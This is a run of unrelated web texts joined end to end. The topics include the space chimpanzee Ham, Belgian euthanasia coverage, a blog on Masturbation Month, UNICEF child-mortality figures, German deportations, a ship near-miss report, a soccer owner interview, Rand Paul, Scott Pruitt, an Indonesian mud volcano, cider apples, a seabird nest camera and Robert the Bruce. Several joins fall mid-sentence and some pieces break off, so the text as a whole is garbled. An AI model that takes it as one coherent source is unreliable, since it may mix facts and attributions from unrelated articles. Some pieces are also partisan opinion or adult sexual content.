Ham was born in 1957 in French Cameroons (now Cameroon),[5][6] captured by animal trappers and sent to Rare Bird Farm in Miami, Florida. He was purchased by the United States Air Force and brought to Holloman Air Force Base in 1959.[5] There were originally 40 chimpanzee flight candidates at Holloman. After evaluation, the number of candidates was reduced to 18, then to 6, including Ham.[7]:245–246 Officially, Ham was known as No. 65 before his flight,[8] and only renamed "Ham" upon his successful return to Earth. This was reportedly because officials did not want the bad press that would come from the death of a "named" chimpanzee if the mission were a failure.[9] Among his handlers, No. 65 had been known as "Chop Chop Chang".[10][9]:page 138
Training and mission Edit
Later life Edit
In popular culture Edit
See also Edit
References Edit
Further reading EditAn article on ABCNews.com offered no criticism or opposition to the euthanization of two deaf brothers in Belgium. The country's lawmakers, are considering expanding the law which allows doctors to kill patients who are "suffering."
ABCNews.com writer Russell Goldman quoted Dr. David Dufour, describing the last moments of the two deaf brothers who were going blind: "They had a cup of coffee in the hall. It went well and a rich conversation. Then the separation from their parents and brother was very serene and beautiful." Serene and beautiful?
Goldman continued:
More than 1,000 people legally availed themselves of doctor-assisted deaths in Belgium in 2011, most of them were terminally ill cancer patients.
The brothers are unique in that their illness was not terminal. Belgian law, however, allows doctors to euthanize "suffering" patients who are both mentally sound, over 18 and want to die.
Belgian lawmakers are considering a law that would extend euthanasia to dementia patients and children, whose families and doctors consented.
At no point did the article allow any criticism or disagreement with assisted suicide.
Instead, Goldman blandly explained, "The men, who were born deaf, had a cup of coffee and said goodbye to other family members before walking into hospital room together to die, their doctor told Belgian television station RTL."Happy May! Did you know that May is International Masturbation Month? Yes, you read that correctly. There’s an entire month dedicated to sex with yourself! To celebrate, I’ve decided to use a different sex toy every day for the entire month of May. 31 days of masturbation, chronicled on my Instagram. As a CannaSexual upgrade, I’m also going to highlight the strain or product I’m pairing with each session (I almost always consume before I start solo sexy times).
The celebration was started in 1995 by adult retailer Good Vibrations in response to the forced resignation of then-Surgeon General Jocelyn Elders, for having the gall to suggest that the concept of masturbation should be include in sex ed curricula as a healthy alternative to riskier sexual behaviors. Just to be clear, she wasn’t suggesting that kids be taught how to masturbate, just that it be presented as a healthy and normal activity. The horror, right? I’m so grateful to Good Vibrations (GV) for creating this month-long solemnization of self love. GV is one of my favorite adult retailers for many reasons, but mainly because they have legendary sexologist (and one of my personal heroes) Dr. Carol Queen on staff. Dr. Queen was also one of the brains behind the Masturbate-a-Thon, a ménage à moi fundraiser, in 1999. “We know self-pleasure is a ground-level, indispensable part of so many people’s sexuality—it’s high time society honored it as such,” said Dr. Queen via text.
Here are my top tips for a fun and fruitful fap fest:The number of children who die before their fifth birthday declined by nearly 50 percent between 1990 and 2012, from more than 12 million to 6.6 million, according to a new UNICEF report.
Despite the good news, the world is not on track to reach the United Nations' Millennium Development Goal (MDG) to cut the 1990 child mortality rates by two-thirds by 2015. Unless the world more than quadruples the annual rate of reduction in child death, it won’t meet the MDG until 2028.
“These targets are ambitious,” said Geeta Rao Gupta, UNICEF deputy executive director, in a press conference Thursday. But, “dramatic progress is possible — even in the most resource constrained settings."
Most of the 6.6 million children under 5 who died in 2012 died of preventable causes. Pneumonia killed 17 percent, diarrhea killed 9 percent, and malaria killed 7 percent, according to the report. Nearly half died in the first month of life, some from diarrhea and pneumonia, to which newborns are especially sensitive, and many from birth complications like asphyxia or infections.
While all the top killers have taken fewer and fewer children over the past two decades, the most marked progress has been against diarrhea, which killed 50 percent fewer children in 2012 than it did in 1990. The battle against pneumonia and malaria has been slower, dropping by a third between 1990 and 2012.
As the numbers of children who die from infectious disease has dropped, the proportion of children who die from birth-related complications and infections during the first month of life has ballooned. In 1990, just 10 percent of deaths occurred during the neonatal period. By 2012, infants represented 44 percent of deaths.
“One of the reasons we haven’t made as much progress as we’d hoped was that, until recently, there wasn’t enough attention on newborn mortality,” said Eric Swedberg, senior director of child health and nutrition at Save the Children.
He attributes the uneven success to logistics. He used diarrhea as an example. The key to saving a child from dying of diarrhea is preventing dehydration, which can be accomplished by administering an oral solution or giving a child a zinc supplement, he said. Though distribution of ORS and zinc still need to be ramped up in many parts of the world, the treatment is cost effective and straightforward.
By contrast, saving a baby who is not breathing after birth requires a trained health professional to be ready to act, Swedberg said.
Critics of the millennium development goals weren’t surprised that the goal is a long shot.
“We were destined to fall short from the beginning,” said Elizabeth Gibbons, a visiting scholar at the FXB Center for Health and Human Rights at the Harvard School of Public Health. “A two-thirds reduction across the board was an unrealistic goal.”
Gibbons holds that the MDG is a well-intentioned, but poorly designed policy that, in some ways, may have hampered progress in child health — particularly in Africa and Asia, where children are most likely to die. She’s hardly the only one to raise such a critique. Earlier this summer, for example, one of the UN’s own statisticians independently released a paper that essentially branded the MDG ineffective, claiming the improvements in child mortality rates we’ve observed since 1990 would have happened regardless of the campaign.
A recent report published by the Harvard School of Public Health found that the MDGs, including the goal for reducing child mortality, encourage narrow approaches that rely heavily on technological solutions, while neglecting the need for broader social change or the strengthening of national institutions. For example, according to the report, pre-MDG policies took a holistic approach to low birth weight babies and malnourished children that took into account a mother’s education and social voice. Under the MDGs, on the other hand, a solution might be to pass out nutritional supplements.
Furthermore, the report found, although birth complications, pneumonia, diarrhea and malaria have long been the most formidable foes in the battle for child survival, the way the MDGs were drafted may have pulled attention away from them.
Gibbons, who co-authored the Harvard study, said the MDGs championed interventions that were easy to count rather than setting up a game plan to tackle the most aggressive child killers. For example, although measles only accounted for 4 percent of child deaths in 1990, it was included as one of just three child mortality sub goals.
Over the course of the MDGs, UNICEF reported that measles, which accounted for just 1 percent of child deaths in 2012, has seen the biggest decline of any infectious disease — by far. Measles deaths have declined by 80 percent since 1990.
In the decade since the MDGs were minted, the global health community has course corrected, Gibbons said. Through the Countdown to 2015 initiative, launched in 2005, for example, the UN now monitors progress on a number of high-impact indicators.
“We’re figuring things out,” she said. “But did we lose time because there was a decrease in attention to the most high-impact diseases during the early part of the decade? I think it’s a valid question that deserves some attention as we’re making post-2015 plans.”
More from GlobalPost: Step by Step: The Path to Ending Child MortalityLeipzig
Insgesamt 57 Bundespolizisten haben am 24. Oktober den Abschiebungsflug vom Flughafen Leipzig/Halle nach Afghanistan begleitet. Eine Sprecherin des Bundesinnenministeriums bestätigte am Mittwoch entsprechende Recherchen des Westfalen-Blatts. Damit waren für jeden der 14 afghanischen Asylbewerber auch vier Beamte in der Chartermaschine dabei. Zudem begleiteten den Flug nach Kabul auch eine Ärztin, ein Dolmetscher und ein leitender Mitarbeiter der Bundespolizei, hieß es.
Vor dem Start der Maschine am Morgen des 24. Oktober hatten etwa 150 Menschen auf dem Leipziger Airport gegen die Abschiebung demonstriert. Pro-Asyl-Geschäftsführer Günter Burkhardt und Landtagsabgeordnete Juliane Nagel (Linke) kritisierten, dass gerade in Nordafghanistan die Lage sehr instabil sei und immer wieder auch Zivilisten bei Anschlägen getötet werden. Vergeblich hatte auch die Grünen-Politikerin und Vizepräsidentin des Bundestags, Claudia Roth, an Bundesinnenminister Thomas de Mazière ( CDU) appelliert, die Abschiebungen noch zu stoppen.
Elf Straftäter und drei sogenannte Mitwirkungsverweigerer
Laut Innenministerium sollen die abgeschobenen Männer aus Nordrhein-Westfalen, Sachsen, Bayern, Hamburg, Baden-Württemberg, Hessen und Rheinland-Pfalz stammen. Elf der Asylbewerber seien überführte Straftäter – mit Verurteilungen wegen Totschlags, sexuellem Kindesmissbrauch, Diebstahl, gefährliche Körperverletzung, Urkundenfälschung und Betrug. Dass sich unter den Abgeschobenen auch ein Mitglied der „ Hells Angels“ befunden habe, wurde indes nicht offiziell bestätigt.
Die übrigen drei afghanischen Asylbewerber hatten keine Vorstrafen. Bei ihnen habe es sich um sogenannte Mitwirkungsverweigerer gehandelt, die das Bundesamt für Migration und Flüchtlinge ( BAMF) nicht bei der Aufklärung ihrer Identität unterstützten wollten.
Ein 24-Jähriger aus der westafghanischen Provinz Herat gab nach der Landung in Kabul an, sieben Jahre in Chemnitz gelebt zu haben. Er habe nicht gearbeitet, aber auch nicht im Gefängnis gesessen. Als Grund für seine Abschiebung sei ihm gesagt worden, er müsse gehen, weil er über die Gefährdungslage in Afghanistan gelogen habe. Nach Angaben des Innenministeriums in Dresden war der Mann dagegen wegen schwerer Körperverletzung verurteilt worden.
Von mpuBridge Professionalism Called Into Question
By MarEx 2014-08-02 00:20:00
The Confidential Hazardous Incident Reporting Programme (CHIRP) recently investigated a near miss collision where the professionalism of bridge teams was called into question.
The person reporting the incident was on a loaded tanker length 242m breadth 44m, draft 15m bound from Skagen to Rotterdam. Due to dense it was proceeding at 11.2 knots. From the east in traffic lane another vessel (vessel A) approaching on a collision course. The tanker’s heading was 220 and the other’s was heading is about 260. “Collision is imminent and we called them ask to go astern of as per Collision Rules. They refuse and said that it was too late for them. They told us that they will go ahead of us, crossing our bow. However, we could easily see that it was not possible as they have only 8.7 knots speed,” said the reporter, remaining anonymous through the CHIRP protocol.
“Our only possibility was stop engine and let our speed go down. Finally they changed their course more to port as observed from the radar track plotting pictures. If we had not stopped our engine, they never would have passed our bow. We had three radars plotting their maneuvers continually and the situation was critical all the time. That’s why we decided to ask what they were going to do. Our speed was only about 5 knots when they finally passed our bow.”
On reflecting on the incident the reporter said, “It has been clear to me for some time that professionalism on ships bridges is lower than ever. Since STCW came into force we have seen worse and worse quality |
strategy and I feel like this is an important offseason for us. We tried to make more moves than we made during the summer window and honestly we weren’t able to finalize the deals. That was a little troublesome for us. It is not like we are going to break up our team because we have a good group of core players but I do feel like we have got to reinvigorate that core with a couple of pieces and it is important to go get them this offseason.”
Will those players from Europe be DP players or will Targeted Allocation Money (TAM) come in to play to sign them?
“My expectation would be that a couple of the players we are interested in would qualify as Designated Players from a salary persepective,” Heineman said. “We are not signing [Andrea] Pirlo, we are not signing [Steven] Gerrard, that is never going to be our deal in the current cap structure of MLS where we are going to be signing $5 million annual salary guys. That is just not our formula but these are guys where there will be sizeble transfer fees and they will be Designated Players in terms of their salary. They will be either guys who are either TAM players or Designated Players and we will have to use TAM as a mechanism to work through our current roster cost structure.”
On the subject of new additions, Heineman confirmed that the ownership group he is part of discussed buying Premier League outfit Everton and, despite saying it’s not upcoming, he wouldn’t rule out seeing them try to invest in or buy a PL club in the future.
“It is not anything that we are actively pursuing and I think part of what we did with the Everton exploration was that we really wanted to learn a lot more about the league and how teams operated. We spent a good amount of time there,” Heineman revealed. “I’m not sure we were ever really close to getting anything today and I don’t sit here today and say ‘gosh, we’ve got to go and find an opportunity in the English Premier League’ and that’s the way the other majority owners feel about it as well. I think we will always be opportunistic. If the right opportunity came our way and the timing made sense then I could see us doing something. It is not something I would say we are striving to do every day but it is also nothing we would turn our back on, for sure.”
With Sunderland, Manchester United, Liverpool, Arsenal and Aston Villa all currently owned by Americans and the likes of Bournemouth now having U.S. investors and Crystal Palace close to a takeover fronted by Josh Harris, why is owning a PL club so attractive to Americans in particular?
“There is tons of American interest but in relation to Everton specifically I never necessarily knew who else it was, I just knew that there were other parties with whom they were speaking,” Heineman said. “There is a huge trend of American owners getting involved and I could see another two to three American owners jumping in there over the next couple of years, for sure. It is the top league in the world and it is just like any other sports league. You always want to invest in the top opportunity available and I think the Premier League is that in the world of football. That is something that will always be attractive. I think with the increasing content and television rights you see around the Premier League it feels likes that is an investment which will exponentially grow over time. It is one that there are lots of people looking into.”
After confirming that Mike and Cliff Illig who are part of the Sporting Club group and the Illig’s are the main investors, are not individually in the running to buy Everton, Heineman stated that he felt the Sporting Club ownership group would stay together if an opportunity to buy one of the 20 PL clubs arose in the future. He also confirmed they would not be interested in partnering with any PL clubs if the opportunity arose, unless it was a two-way street.
Speaking of the future, helping SKC’s core group go further than they did in 2015 is crucial but overall Heineman was happy with how the 2013 MLS Cup champs performed this season, even if a familiar slump occurred towards the second half of the campaign.
“We had a good year and going into the season we had expectations to win it all, so to win the Open Cup was obviously for us organizationally, it is a big mantra of ours that we want to win championships, so to have a year we win that championship is important for us,” Heineman said. “The end of the season was disappointing in the fact that we went out the same way we went out last year with our results tailing off towards the end of the year and not advancing in the playoffs. We all look back on it and feel like it was a bit of an opportunity missed. We had a team where if we would have positioned ourselves better with home-field advantage we could have made a deep run in the playoffs. I don’t think I am saying anything every one of our players doesn’t feel, which is that we feel like we could have gone further in the playoffs.”
Heineman admitted that if SKC had finished the season stronger and secured home-field advantage in the playoffs then “the rest of the playoffs set up pretty well for us” and “we really felt like if we beat Portland we were going to play in MLS Cup.” Alas, a gut-wrenching 7-6 shootout loss to Portland ended the season and some questions were raised about the strength of Vermes’ squad which struggled to cope with defensive injuries.
SKC have earmarked two areas where they feel they must strengthen during the offseason and Heineman admitted the maybe a lack of experience played a part in their downfall in 2015.
“It is interesting because we had depth this season in the respect that we had three rookies who probably overachieved and played a lot of minutes and played quite well for us. At the end of the season those are guys whose engine just are not built to play as many games as they had played,” Heineman said. “There were some games there when we needed to bring a dynamic sub on and we just didn’t necessarily have that available to us. So [in the offseason] we are looking for some depth in the attacking third and obviously we had some injuries tear us up in the back last season so bringing in another high-quality central defender is going to make some sense for us.”
With the Sporting Club group seeing their USL franchise making its debut in 2016, the Swope Park Rangers are, in Heineman’s words, something “we definitely think of it first as a player development tool” and will use it to bridge the gap between their academy and first team while bringing soccer to other communities of KC. Heineman also revealed that a coaching staff “which has been coaching in a domestic league in the U.S.” will be announced on Friday for the Rangers.
“Although we’ve been successful with both Orlando City and Oklahoma City it hasn’t been a pure player development opportunity for us. Now having the ability for the Rangers and Sporting Kansas City to train at the same time side-by-side on the training field, it will allow us to have a completely different opportunity,” Heineman said. “If you looked over the course over the past few years, it would have been great to have the Rangers for some rehab stints for guys like Chance Myers, Seth Sinovic and Ike Opara trying to make their way back into the squad. We didn’t feel like it was the right thing to send those guys to Orlando or Oklahoma. We are really excited because we have the academy from ages 12-18 but we have had that gap from 19-23 so to have USL there as a reasonably effective development tool, we are feeling very good about that.”
Something which has been pretty good over the past few years is the coaching at SKC. Asked about Vermes’ future with many touting him to be the next boss of the U.S. national team, Heineman revealed he’s a fan of what Jurgen Klinsmann is currently doing with the USMNT and pointed towards the fact that the $80 million new U.S. Soccer training complex opening up in Kansas City in 2017 is a big reason for Vermes to stay with Sporting.
“Peter over the course of his career is going to have every opportunity in the world. We have had some teams in Europe who have inquired about him over the course of the last year and some teams in our league, but what has always worked well with Peter and Kansas City is that his approach has always been long-term in nature,” Heineman said. “He has never been a guy who feels like he needs to force a player move in the season because if he doesn’t then he feels like it will cost him his job. We have a good relationship with Peter and feel like he has achieved a good amount here at SKC but he has a good amount in front of him. With the addition of us building this new training facility for the senior team as well as a U.S. Soccer training center, I think he feels that his resources here will allow him to continue to have success. We are proud of the job he has done and we are content that he will continue with us for the long-term.”
With MLS continuing to grow and the re-branding of the Kansas City franchise one of the major success stories of MLS 2.0, Heineman is keen for David Beckham’s potential franchise in Miami to get more time to find a suitable stadium option and is excited about where MLS is heading, long-term.
“David Beckham specifically has been a really important person for our league so us continuing to work with him so he has a long-term standing in our league makes a lot of sense,” Heineman said. “Hopefully everything works out there and his partner, Marcelo Claure, is a friend of ours in Kansas City and we would love to see that group come together. In relation to expansion, there are a number of different cities interested which is fantastic for us as a league but I will let the expansion committee run with that and see what happens.”
Follow @JPW_NBCSportsOn the Daily Show Monday night, Sen. Rand Paul (R-KY) blamed the government for mucking up capitalism, saying that the banking collapse was caused not by too little government regulation of the financial sector, but by too much meddling by the Federal Reserve.
By arbitrarily setting interest rates rather than letting those rates be determined by the free market, the Fed created an unsustainable financial structure, Paul said.
“I don’t say that’s a failure of capitalism,” Paul said. “That’s a failure of a central bank getting involved and messing up capitalism.”
“We need less of the government manipulating interest rates,” he later added. “So it really depends on which way you’re gonna go. Did capitalism fail, or did central banking fail?”Stewart started the interview off by praising Paul for being the “walkiest of the talkers” for his willingness to call for spending cuts across the board, including cuts to entitlement programs and defense spending. But when the talk turned to federal regulation of business, Stewart was unconvinced by Paul’s argument on how limited the government’s reach should be.
“Doesn’t the government have a role though, in keeping business practices honest,” Stewart asked. “Would our food be as healthy and clean as it is if we hadn’t have had the Pure Food [and Drug] Act or the FDA?”
Paul then began to argue that things aren’t actually so bad, and that the government is overstating the problems it must regulate.
“We need to acknowledge that the air is actually much cleaner than it was 30 years ago,” Paul said.
“But that’s the Clean Air Act,” Stewart shot back.
Throughout the nearly 20 minute-long interview, which waxed wonky at times, Paul repeated his argument that a more limited government, coupled with lower taxes are necessary to spur economic growth and balance the budget.
Watch the video below:
Part 1:
Part 2:
Part 3:Just a few days ago we reported on the significant economic benefits the world will gain from the completion of the Paris Climate Agreement. The Agreement, decided upon in 2015 and gradually signed and put into effect over the course of the last year, is a really big deal. It could have been better, with more firm goals and specific milestones, but it’s a first in that it has been signed by 192 countries representing 99.21% of global CO2 emissions, pledging to keep global warming “well below 2ºC.” The signatories to the Agreement include, most importantly, the world’s three largest emitters: the US, China, and India.
But yesterday on “This Week” with George Stephanopoulos, EPA-chief-and-oil-industry-talking-point-spouting-robot Scott Pruitt claimed that the Paris Agreement is a “bad deal” and that “China and India, the largest producers of [carbon dioxide] internationally, got away scot-free.”
The problem with that last statement is that, like much of what Pruitt says, it is demonstrably false. And the person whose job it is to administer and implement these agreements ought to know it.
Not only have both India and China ratified the Paris Climate Agreement, which means they have agreed to do everything in their power to limit global warming to the same “well below 2ºC” target that all ratifiers have agreed to, but China and India both have much lower emissions per capita than the US. India, despite having four times the population of the US, emits less than half as much carbon as the US does in total – which means each Indian resident has roughly 1/8th the carbon footprint of an American resident. China’s total emissions are higher than the US, but that’s because they have more than four times the population of the US – their per capita emissions are less than half of America’s.
He could perhaps claim to be technically correct about China’s total emissions, but this is disingenuous at best. Regardless, he is completely wrong about India’s emissions – and wrong that either of those countries got any better or worse of a “deal” than the US did in the Agreement.
It’s not a mistake that Pruitt would get this one wrong. The issue here is that he seems to be stuck in an old programmed loop of talking points, telling the same stale stories which were never quite true and are even glaringly less true now than ever. For a long time, the reason climate agreements would fall through is that the American fossil fuel industry (who have given Pruitt $270,000 in campaign funds over his lifetime) would complain that the US shouldn’t have to reduce their emissions if China didn’t agree to do so also – even though China is in a different stage of industrial development, has always emitted far less carbon per capita than the US, and has been actively working to peak their carbon emissions since even before the Paris Agreement was signed.
But those complaints obviously do not apply any more, because on several occasions in the last year of Obama’s presidency, he appeared alongside Chinese President Xi Jinping – including once just two months before the election – to announce that the US and China were jointly signing the Paris Agreement. The countries would bind themselves to the same global target as everyone else, the same rules as everyone else – to limit global warming to “well below 2ºC.” A joint statement to this effect was also posted on the White House website and Scott Pruitt’s EPA website still includes a section about US-China collaboration on addressing climate change.
So clearly Pruitt’s programmed complaint is outdated. Plus, these complaints miss the point that the world economy, including the US, stands to benefit to the tune of $19 trillion as mentioned earlier in this article. And then there are the myriad other benefits of cutting emissions. For example, reducing the 7 million deaths per year worldwide due to air pollution; and reduction of what the Department of Defense, including current Defense Secretary James “Maddog” Mattis, calls the “threat multiplier” of climate change – a term that refers to how climate change will destabilize the world politically and lead to more global conflict.
This is just another instance of Pruitt being openly hostile towards the job he has been given. It is plainly clear that he is either ignorant of very important aspects of his job or he is intentionally lying to the public he is meant to protect. There is absolutely no reason that this person should continue to occupy the seat of EPA administrator.
We can only hope that his ignorance might limit his ability to exercise his planned hostile actions against the health and well-being of the American people. Or, more likely, that other entities, like California or France will be able mitigate the damage he will try to do as “protector” of the environment.AP Photo/Trisnadi An Indonesian man carries a mattress from his mud-flooded home, passing a sign which reads "Be Careful, deep mud" in Porong, Indonesia, in July 8, 2006
On the moon-like surface of the muddy crust that now covers a dozen Indonesian villages, any sign of life is welcome. "Right over there you can see some algae," says an excited Soffian Hadi, deputy head of operations for BPLS, the agency that monitors a still-seething volcanic crater."When the eruptions stop so will the subsidence but we don't know when that will be for sure."
Five years after a mud volcano burst to life on May 29, 2006, burying the homes of 13,000 families under an estimated 30 meters of mud, there is little indication that life will ever return to normal for the farmers and factory workers that once inhabited this corner of East Java. While the community fights for compensation, scientists are still trying to understand the mysterious volcano that the locals call 'Lusi.' (See a video about the mud volcano.)
The good news, if you can call it that, is that the amount of mud spewing from the earth has dropped significantly, from 180,000 cubic meters per day at its peak in 2006 to around 10,000 cubic meters per day now. The number of "bubblers," or gas vents, has dropped from 243 to 17, though residents still complain of polluted water and stinky air. The bad news is that five years after the eruption, scientists still aren't quite sure when the mud will stop. The general consensus is the muck will flow for decades, not centuries. Beyond that, not much is known. "It's impossible to predict when you don't know what you're dealing with," says Mark Tingay, a lecturer in drilling engineering at that the University of Adelaide. "We don't know a lot about what's going on underground."
On the ground in East Java, the local government is planning a 3D mapping project designed to help scientists visualize what's happening below the mud. The government-appointed monitoring agency, BPLS, has been handling the clean-up process by draining the mud into the Porong River, which has mainly been used as a flood canal since the Dutch diverted it hundreds of years ago to protect the nearby city of Surabaya. Lapindo Brantas, the Indonesian firm that was drilling in the area ahead of the eruption (but was cleared by the Supreme Court of any culpability for the disaster) reports it has spent $600 million relocating families, though displaced villagers say they have yet to receive another $100 million owed to them in the agreement. The central government has also spent $125 million and allocated another $130 million to be disbursed this year.
Recovery is complicated by the fact that the situation in East Java has not elicited the outpouring of international support that follows disasters. No lives were lost and in all likelihood, there won't be any television-friendly shots of villagers re-building their homes amid freshly-cleared rubble. The nearly 2000 acres of land is all but abandoned save for scientists examining the squishy earth. "It's important now to focus less on the past and to figure out what to do in the future," says Jeffrey Richards, executive director of the Humanitus Sidoarjo Fund, which recently released a 160-page social impact report on the mud volcano.
With so much seismic activity shaking the country every year, that future may well include another eruption. Indonesia is home to 76 active volcanoes and East Java is home to four mud volcanoes, many of which are situated in densely populated areas. Soffian Hadi, of BPLS, the monitoring agency, say the organization would share whatever information they glean about the volcano with the public. "Hundreds of thousands of people will be affected over the next few years," he says. "It could happen again so we need to prepare people."
See TIME's Pictures of the Week.I CAN still remember my first drink of cider. Not the taste, there wasn’t much, but the sensation of wondering what the fuss was about. That must have been at least 35 years ago.
It took another 30 years before I tried it again. This time, it was a traditionally made cider from a craft cider maker. It was excellent, the equivalent of a good wine and I have been a (quality) cider fan ever since.
Cider popularity is enjoying rapid growth in Australia and the US. Washington State University’s Professor Carol Miles recently told cider makers and orchardists at the 2016 Cider Industry Conference at Batlow, NSW, that US cider consumption grew by about 800 per cent between 2007 and 2015. And, despite phenomenal growth, cider represents less than 5 per cent of the alcoholic beverage market.
Mark Shimmen, business manager of alcoholic drink distributor Pinnacle Drinks, confirmed similar levels of growth and market share for cider in Australia.
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The growth in cider is being driven by younger consumers in their 20s, spread evenly between female and male drinkers, although it appeals to all ages.
While growing demand has been satisfied by a few major brands, the popularity of the Batlow Cider Industry Conference, now in its fifth year, and the growth in industry bodies such as Cider Australia, which runs the annual Australian Cider Awards, are the result of increasing interest in cider making.
Like the craft beer market, now booming with start-up micro breweries which blossomed in an industry dominated by just a few large beer brewers, industry pundits are signalling a bright future for new cider entrants. At present there are only a handful of craft cider makers in an industry dominated by a small number of larger suppliers and imports.
APPLES AIN’T APPLES
Apples derive their taste profile from three groups of compounds: acids, sugars and tannins.
Popular eating apples are high in sugar, relatively low in acidity and have low tannin content. Cooking apples are low in tannins and sugar, but tend to be more acidic, which helps impart flavour when cooked.
The varieties preferred for cider making tend to be high in tannins, which imparts the richness and taste complexity found in quality ciders. Some have high sugar content and may also be reasonably acidic. As a result of the high tannin, most cider varieties are not good to eat.
All fruit contains sugar, which is the basis for making alcohol. During fermentation yeast converts sugar to alcohol while the fruit imparts the flavour and identity of the resulting drink.
When the fruit used contains significant amounts of tannins, the resulting drink, be it wine or cider, has the potential to be complex and rich. In the absence of tannins, for example in wine made from table grapes or cider made from eating apples, the resultant drink is likely to be quite bland.
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“RUBBISH IN, RUBBISH OUT”
You rarely hear this expression now, but when personal computing was relatively novel, those words were a reminder that good output depends on quality input.
Although the age-old art of cider making is about as far as you can get from the digital age, the same sentiment holds true, good cider starts with good apples. The challenge is finding the right apples.
Most apple production in Australia is concentrated on eating apples. There are hardly any cider apples being grown in this country on a commercial basis. Those that are grown are in small orchards owned by the handful of existing and emerging makers of traditional ciders.
There are a number of cider varieties available in Australia and collections of heritage varieties held by state departments of agriculture.
ROADSIDE ROUGHIES
Australia’s roadsides host huge numbers of apple wildlings, hardy trees that have sprung from seed. The often inedible fruit is prized by backyard and small craft cider makers for its contribution to cider blends.
BEST APPLE VARIETIES FOR CIDER MAKING
Kingston Black
One of the better known varieties, Kingston Black is a vintage* quality variety. Difficult to grow, usually biennial bearing (good crops only every second year), but makes great cider.
Yarlington Mill
A traditional Somerset cider apple producing a sweet, slightly astringent, medium bittersweet cider having a good aroma and flavour. Good commercial cropping habit, vintage* quality.
Michelin
Good commercial cropping, good quality blender, producing a medium bittersweet cider. Slight tendency to biennial bearing.
Improved Foxwhelp
One of the premier cider making apples. Ideal blender.
Dabinett
Vintage* quality, produces a sweet, astringent juice and a bittersweet cider.
Brown Snout
High chill requirement so it rarely sets fruit – only in the coldest winters. Early flowering is also a challenge for pollination. Reportedly makes superb cider.
Bulmer’s Norman
High yielding, bittersweet style, producing a fast-fermenting medium cider. Early variety, high tannin, ideal blender with eating varieties.
Common varieties
Eating apples can be useful additions to blended ciders and help bulk up production. Gravenstein, Granny Smith, Pink Lady and Sundowner are commonly used. Cooking variety Bramley Seedling is valued for its acidity and sugar. Crabapples can be a source of tannins when cider apples are not available.
*A vintage variety is one which contains all the components to make a superb quality single variety cider.
— Rob Pelletier runs a heritage fruit tree nursery. For a list of nurseries that supply cider apple varieties, visit expert David Pickering’s cider blog, www.cideroz.comThis is the underground nesting burrow of a Bermuda Petrel or "Cahow" the IUCN Red Listed, second rarest seabird on the planet that only nests on Nonsuch Island and a few outer rocks in Bermuda. Thought extinct for 300+ years, 17 pairs were re-discovered in in the 1950's, since when thanks to a very successful management plan and more recent translocation project they are back up to 135+ pairs.
2019 will be the 7th Season that LookBermuda’s Nonsuch Expeditions stream LIVE video from the underground nesting burrows; from which over the past 2 years, 15 million minutes of CahowCam footage have been watched by viewers and students around the World through our partnership with the Cornell Lab of Ornithology.
2019 CahowCam Live Broadcast
The 2019 nesting season LiveStream has officially gone LIVE with our partners, the Cornell Lab of Ornithology.
January 10th | Our female has returned right on schedule just before midnight in the midst of a squall and at 1:06am she laid her egg. She now awaits the return of her mate to take over incubation so that she can go back out to sea to feed.
January 14th | The male returned and took over the first shift of incubation that is expected to last several weeks..
January 22nd | The female returned last night, earlier than expected and the pair have remained together in the burrow for the day.
January 30th | The pair are together in the burrow once again for the day, not sure why this has been more frequent this year, hopefully the GPS tags we are using throughout the Colony will help provide answers…Robert I (11 July 1274 – 7 June 1329), popularly known as Robert the Bruce (Medieval Gaelic: Roibert a Briuis; modern Scottish Gaelic: Raibeart Bruis; Norman French: Robert de Brus or Robert de Bruys; Early Scots: Robert Brus; Latin: Robertus Brussius), was King of Scots from 1306 until his death in 1329. Robert was one of the most famous warriors of his generation, and eventually led Scotland during the First War of Scottish Independence against England. He fought successfully during his reign to regain Scotland's place as an independent country and is today revered in Scotland as a national hero.
Descended from the Anglo-Norman and Gaelic nobility, his paternal fourth great-grandfather was King David I. Robert's grandfather, Robert de Brus, 5th Lord of Annandale, was one of the claimants to the Scottish throne during the "Great Cause". As Earl of Carrick, Robert the Bruce supported his family's claim to the Scottish throne and took part in William Wallace's revolt against Edward I of England. Appointed in 1298 as a Guardian of Scotland alongside his chief rival for the throne, John III Comyn, Lord of Badenoch, and William Lamberton, Bishop of St Andrews, Robert later resigned in 1300 due to his quarrels with Comyn and the apparently imminent restoration of John Balliol to the Scottish throne. After submitting to Edward I in 1302 and returning to "the king's peace", Robert inherited his family's claim to the Scottish throne upon his father's death.
In February 1306, Bruce having wounded Comyn, rushed from the church where they met and encountered his attendants outside. Bruce told them what had happened and said, "I must be off, for I doubt I have slain the Red Comyn," "Doubt?" Roger de Kirkpatrick of Closeburn answered, "I mak sikker," ("I'll make sure," or "I make sure") and rushing into the church, killed Comyn. For this Bruce was then excommunicated by the Pope (although he received absolution from Robert Wishart, Bishop of Glasgow). Bruce moved quickly to seize the throne and was crowned king of Scots on 25 March 1306. Edward I's forces defeated Robert in battle, forcing him to flee into hiding before re-emerging in 1307 to defeat an English army at Loudoun Hill and wage a highly successful guerrilla war against the English. Bruce defeated his other Scots enemies, destroying their strongholds and devastating their lands, and in 1309 held his first parliament. A series of military victories between 1310 and 1314 won him control of much of Scotland, and at the Battle of Bannockburn in 1314, Robert defeated a much larger English army under Edward II of England, confirming the re-establishment of an independent Scottish kingdom. The battle marked a significant turning point, with Robert's armies now free to launch devastating raids throughout northern England, while also extending his war against the English to Ireland by sending an army to invade there and by appealing to the Irish to rise against Edward II's rule.
Despite Bannockburn and the capture of the final English stronghold at Berwick in 1318, Edward II refused to renounce his claim to the overlordship of Scotland. In 1320, the Scottish nobility submitted the Declaration of Arbroath to Pope John XXII, declaring Robert as their rightful monarch and asserting Scotland's status as an independent kingdom. In 1324, the Pope recognised Robert I as king of an independent Scotland, and in 1326, the Franco-Scottish alliance was renewed in the Treaty of Corbeil. In 1327, the English deposed Edward II in favour of his son, Edward III, and peace was concluded between Scotland and England with the Treaty of Edinburgh-Northampton, by which Edward III renounced all claims to sovereignty over Scotland.
Robert died in June 1329. His body is buried in Dunfermline Abbey, while his heart was interred in Melrose Abbey and his internal organs embalmed and placed in St Serf’s Chapel, Dumbarton, site of the medieval Cardross Parish church.
Background [ edit ]
